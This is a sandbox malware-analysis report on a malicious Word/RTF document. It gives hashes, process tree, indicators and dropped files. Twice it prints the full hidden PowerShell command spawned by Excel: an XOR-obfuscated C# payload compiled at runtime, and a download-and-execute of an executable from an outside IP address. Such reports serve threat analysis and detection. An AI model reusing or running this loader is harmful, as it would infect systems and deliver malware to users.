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File name:

f5229d97f733e858cec79e26a3b58ae2.doc

Full analysis: https://app.any.run/tasks/400d9f14-e995-4a37-b3fa-ac66ae28263a
Verdict: Malicious activity
Analysis date: February 19, 2019, 08:33:46
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
generated-doc
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

F5229D97F733E858CEC79E26A3B58AE2

SHA1:

74350F16BD71BE98D29189532D06A62F1CBC3E60

SHA256:

4E90CB9F4536BD2A1E79DCC42F757DFB22BD7110F54B2B1C41AA114637C9593C

SSDEEP:

1536:oZdHt5ieI52b1bFCu6hYlDOyb1t5ieI52b1bFCu6hYlDOyb1t5ieI52b1bFCu6hu:oHk5IU5IU5IU5IU5IpV7

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 3836)
      • EXCEL.EXE (PID: 3760)
      • EXCEL.EXE (PID: 3584)
      • EXCEL.EXE (PID: 2616)
      • EXCEL.EXE (PID: 2488)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3760)
      • EXCEL.EXE (PID: 3836)
      • EXCEL.EXE (PID: 2616)
      • EXCEL.EXE (PID: 3584)
      • EXCEL.EXE (PID: 2488)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2240)
      • powershell.exe (PID: 3236)
      • powershell.exe (PID: 3212)
      • powershell.exe (PID: 4048)
      • powershell.exe (PID: 3088)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2992)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3836)
      • EXCEL.EXE (PID: 3760)
      • WINWORD.EXE (PID: 2992)
      • EXCEL.EXE (PID: 3584)
      • EXCEL.EXE (PID: 2616)
      • EXCEL.EXE (PID: 2488)
      • excelcnv.exe (PID: 3208)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

Author: Admin
LastModifiedBy: Admin
CreateDate: 2019:01:07 23:54:00
ModifyDate: 2019:01:07 23:54:00
RevisionNumber: 1
TotalEditTime: -
Pages: 1
Words: -
Characters: 4
CharactersWithSpaces: 4
InternalVersionNumber: 57435
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
57
Monitored processes
22
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs excel.exe no specs powershell.exe no specs csc.exe cvtres.exe no specs excel.exe no specs powershell.exe no specs csc.exe cvtres.exe no specs excel.exe no specs powershell.exe no specs csc.exe cvtres.exe no specs excel.exe no specs powershell.exe no specs csc.exe cvtres.exe no specs excel.exe no specs powershell.exe no specs csc.exe cvtres.exe no specs excelcnv.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2992"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\f5229d97f733e858cec79e26a3b58ae2.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3836"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3236"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile function kb8cf { param($cca8c7) $kabe8 = 'd1c687'; $u7fd21c = ''; for ($i = 0; $i -lt $cca8c7.length; $i+=2) { $v1f4587 = [convert]::ToByte($cca8c7.Substring($i, 2), 16); $u7fd21c += [char]($v1f4587 -bxor $kabe8[($i / 2) % $kabe8.length]); } return $u7fd21c; } $r13b = '11420a585f17374810425d5a5f3c69434b5e0a564365414410540e186a420a450a5b5d192d5f17534a58146206444e5e0754100d353d1444015a515444520f574b44445052570d53533c694d353d44114316181744113872545b2d5c13594a434c1308534a59015d50041a1e393c6916181744114316184711530f5f5b1717450242515444541b425d450a112a584c67104343715d4334430c557953004306454b1f2d5f17664c4544592e595c4208544f164b4316580d511847165e0078595a0118583b3217441143161817446a275a547e09410c444c1f465a0644565208025114116a693b43161817441143164842065d0a5518441050175f5b17014917534a5944780d42684316112f5959532858014459451d1910424a5e0a564358595a0118583b3217441143161817446a275a547e09410c444c1f465a0644565208025114116a693b43161817441143164842065d0a5518441050175f5b17014917534a5944530c595417325811424d56086111594c5207454b7f5643344511165447255507445d44171d4363715910611744185313620a4c5d1b44440a584c17025d2d534f67165e17535b4348110c434c1711580d42185b14570f79545334430c425d541018583b3217441143161817446a275a547e09410c444c1f467a06445652080251185c5b08134f167d5910431a66575e0a45430b181536450f7b5741017c065b57451d134f166b52107d02454c7216430c44180a4457025a4b524d6c6e3c181744114316181717450242515444541b425d450a1115595153447c0c405d7a015c0c44411f2d5f17664c45445506454c1b44780d426843161110445b1b44580d4218440d4b061f033a6e3c6916181744114316184711530f5f5b1717450242515444580d42184f5d055457101e693b4316181744114316433a6e114316181744114316181744780d42684316111b550003520005160517285e0252745e06430244411f0f535b555e1f460156035b06540405070e0257015b035c154d18583b321744114316181744114316185e02114b4e5b0f50075250180a59112a584c6710434d6c5d450b186e3c181744114316181744114316433a6e1143161817441143161817441143161845014516445617550a6e3c181744114316181744114316453a6e3c691618174411431618174411437f5643344511164256050857160517235417664a58077007524a5217424b4e5b0f5007525014170f535b555e1f460356035b06540405005a02500156035e05550550035d02550152020b154d18583b321744114316181744114316185e02114b4c59565d05430b05172d5f17664c454a6b0644571e693b431618174411431618174411183b3217441143161817441143161817441143445d4311430d16090c693b4316181744114316181744111e3b323a6e114316181744114316181744642a584c67104343524f640d4b061605174c642a584c6710434a03033a6e114316181744114316181744440a584c173e541159180a4401583b321744114316181744114316185e02114b176e5e164516575467165e17535b434c4b02570103481107416b5e1e544f16084f50014f165742101139534a584d186e3c181744114316181744114316433a6e1143161817441143161817441143161845014516445617550a6e3c181744114316181744114316453a6e114316181744114316181744731a425d6c391133574c540c115e16431754495007141754490550141754495a06184a5f3c691618174411431618174411437f5643344511164d5909500d575f5200610c5f56430143430b187a0543105e595b4a700f5a57542c760f595a560819501f033a6e1143161817441143161817447c02444b5f055d4d7557471d1933574c540c1d43061417115f0e57565603540766575e0a45064414175718583b321744114316181744114316187a0b47067b5d5a0b431a1e565213112a584c6710434b4c59565d054d62577e0a455502101e441a430640075400011f1417115f0e57565603540766575e0a45064414175718583b3217441143161817441143161845014516445617540a6e3c1817441143161817193c693f314711530f5f5b17174502425154444217445159031108540054021910424a5e0a5643454c452d5f4a3b3217441143161817444a6e3c313e6d42174451590311160e0b0550085a160517465552550e0f5313583b321744114316181744114316184410430a585f17170951045a17591130424a5e0a564d7355471048583b32174411431618174411431618510b43431e515910110a160517540a435f180b4442174471594a7d06585f430c0a435f181c5911511f353d4411431618174411431618171f3c6916181744114316181744114316181744531a425d171c0350035d0506115e167b580a4706444c19305e214f4c524c42174471594a6216544b4316580d51105e4811511f141755074a0d353d441143161817441143161817441143164b0f56030116130a4419005e59454d191b040b02010301166617110950040c0e5d6a4b5f181844034a161d17110950040c0e5d1f2f53565010593e1f033a6e1143161817441143161817444c6e3c353d441143161817441143161817165417434a5944425b040a555f3c6916181744114316184a693b1e'; $r13b2 = kb8cf($r13b); Add-Type -TypeDefinition $r13b2; [a1a5d7]::x947a(); Start-Sleep -s 1; $re5963f = $env:APPDATA; $u2cbc1 = $re5963f + '\\ec449.exe'; If (test-path $u2cbc1) {Remove-Item $u2cbc1}; $ed74b = New-Object System.Net.WebClient; $ed74b.Headers['User-Agent'] = 'ed74b'; $ed74b.DownloadFile('http://http://139.99.186.18:80/xml/new.exe', $u2cbc1); Start-Process -Filepath $u2cbc1; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2208"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\s5hzlapt.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
3440C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES7CB3.tmp" "c:\Users\admin\AppData\Local\Temp\CSC7CB2.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
3760"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
2240"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile function kb8cf { param($cca8c7) $kabe8 = 'd1c687'; $u7fd21c = ''; for ($i = 0; $i -lt $cca8c7.length; $i+=2) { $v1f4587 = [convert]::ToByte($cca8c7.Substring($i, 2), 16); $u7fd21c += [char]($v1f4587 -bxor $kabe8[($i / 2) % $kabe8.length]); } return $u7fd21c; } $r13b = '11420a585f17374810425d5a5f3c69434b5e0a564365414410540e186a420a450a5b5d192d5f17534a58146206444e5e0754100d353d1444015a515444520f574b44445052570d53533c694d353d44114316181744113872545b2d5c13594a434c1308534a59015d50041a1e393c6916181744114316184711530f5f5b1717450242515444541b425d450a112a584c67104343715d4334430c557953004306454b1f2d5f17664c4544592e595c4208544f164b4316580d511847165e0078595a0118583b3217441143161817446a275a547e09410c444c1f465a0644565208025114116a693b43161817441143164842065d0a5518441050175f5b17014917534a5944780d42684316112f5959532858014459451d1910424a5e0a564358595a0118583b3217441143161817446a275a547e09410c444c1f465a0644565208025114116a693b43161817441143164842065d0a5518441050175f5b17014917534a5944530c595417325811424d56086111594c5207454b7f5643344511165447255507445d44171d4363715910611744185313620a4c5d1b44440a584c17025d2d534f67165e17535b4348110c434c1711580d42185b14570f79545334430c425d541018583b3217441143161817446a275a547e09410c444c1f467a06445652080251185c5b08134f167d5910431a66575e0a45430b181536450f7b5741017c065b57451d134f166b52107d02454c7216430c44180a4457025a4b524d6c6e3c181744114316181717450242515444541b425d450a1115595153447c0c405d7a015c0c44411f2d5f17664c45445506454c1b44780d426843161110445b1b44580d4218440d4b061f033a6e3c6916181744114316184711530f5f5b1717450242515444580d42184f5d055457101e693b4316181744114316433a6e114316181744114316181744780d42684316111b550003520005160517285e0252745e06430244411f0f535b555e1f460156035b06540405070e0257015b035c154d18583b321744114316181744114316185e02114b4e5b0f50075250180a59112a584c6710434d6c5d450b186e3c181744114316181744114316433a6e1143161817441143161817441143161845014516445617550a6e3c181744114316181744114316453a6e3c691618174411431618174411437f5643344511164256050857160517235417664a58077007524a5217424b4e5b0f5007525014170f535b555e1f460356035b06540405005a02500156035e05550550035d02550152020b154d18583b321744114316181744114316185e02114b4c59565d05430b05172d5f17664c454a6b0644571e693b431618174411431618174411183b3217441143161817441143161817441143445d4311430d16090c693b4316181744114316181744111e3b323a6e114316181744114316181744642a584c67104343524f640d4b061605174c642a584c6710434a03033a6e114316181744114316181744440a584c173e541159180a4401583b321744114316181744114316185e02114b176e5e164516575467165e17535b434c4b02570103481107416b5e1e544f16084f50014f165742101139534a584d186e3c181744114316181744114316433a6e1143161817441143161817441143161845014516445617550a6e3c181744114316181744114316453a6e114316181744114316181744731a425d6c391133574c540c115e16431754495007141754490550141754495a06184a5f3c691618174411431618174411437f5643344511164d5909500d575f5200610c5f56430143430b187a0543105e595b4a700f5a57542c760f595a560819501f033a6e1143161817441143161817447c02444b5f055d4d7557471d1933574c540c1d43061417115f0e57565603540766575e0a45064414175718583b321744114316181744114316187a0b47067b5d5a0b431a1e565213112a584c6710434b4c59565d054d62577e0a455502101e441a430640075400011f1417115f0e57565603540766575e0a45064414175718583b3217441143161817441143161845014516445617540a6e3c1817441143161817193c693f314711530f5f5b17174502425154444217445159031108540054021910424a5e0a5643454c452d5f4a3b3217441143161817444a6e3c313e6d42174451590311160e0b0550085a160517465552550e0f5313583b321744114316181744114316184410430a585f17170951045a17591130424a5e0a564d7355471048583b32174411431618174411431618510b43431e515910110a160517540a435f180b4442174471594a7d06585f430c0a435f181c5911511f353d4411431618174411431618171f3c6916181744114316181744114316181744531a425d171c0350035d0506115e167b580a4706444c19305e214f4c524c42174471594a6216544b4316580d51105e4811511f141755074a0d353d441143161817441143161817441143164b0f56030116130a4419005e59454d191b040b02010301166617110950040c0e5d6a4b5f181844034a161d17110950040c0e5d1f2f53565010593e1f033a6e1143161817441143161817444c6e3c353d441143161817441143161817165417434a5944425b040a555f3c6916181744114316184a693b1e'; $r13b2 = kb8cf($r13b); Add-Type -TypeDefinition $r13b2; [a1a5d7]::x947a(); Start-Sleep -s 1; $re5963f = $env:APPDATA; $u2cbc1 = $re5963f + '\\ec449.exe'; If (test-path $u2cbc1) {Remove-Item $u2cbc1}; $ed74b = New-Object System.Net.WebClient; $ed74b.Headers['User-Agent'] = 'ed74b'; $ed74b.DownloadFile('http://http://139.99.186.18:80/xml/new.exe', $u2cbc1); Start-Process -Filepath $u2cbc1; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3308"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\c6x8sxss.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
1812C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES928D.tmp" "c:\Users\admin\AppData\Local\Temp\CSC928C.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
2616"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Total events
4 056
Read events
3 334
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
10
Text files
9
Unknown types
3

Dropped files

PID
Process
Filename
Type
2992WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6D22.tmp.cvr —
MD5:—
SHA256:—
3836EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR74B3.tmp.cvr —
MD5:—
SHA256:—
3236powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FB2YCXE48AI2AO3D6UCX.temp —
MD5:—
SHA256:—
2208csc.exeC:\Users\admin\AppData\Local\Temp\CSC7CB2.tmp —
MD5:—
SHA256:—
2208csc.exeC:\Users\admin\AppData\Local\Temp\s5hzlapt.pdb —
MD5:—
SHA256:—
3440cvtres.exeC:\Users\admin\AppData\Local\Temp\RES7CB3.tmp —
MD5:—
SHA256:—
2208csc.exeC:\Users\admin\AppData\Local\Temp\s5hzlapt.dll —
MD5:—
SHA256:—
2208csc.exeC:\Users\admin\AppData\Local\Temp\s5hzlapt.out —
MD5:—
SHA256:—
3760EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR8D6C.tmp.cvr —
MD5:—
SHA256:—
2240powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V319PEQABIZWHQ66FN78.temp —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
Process
Message
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
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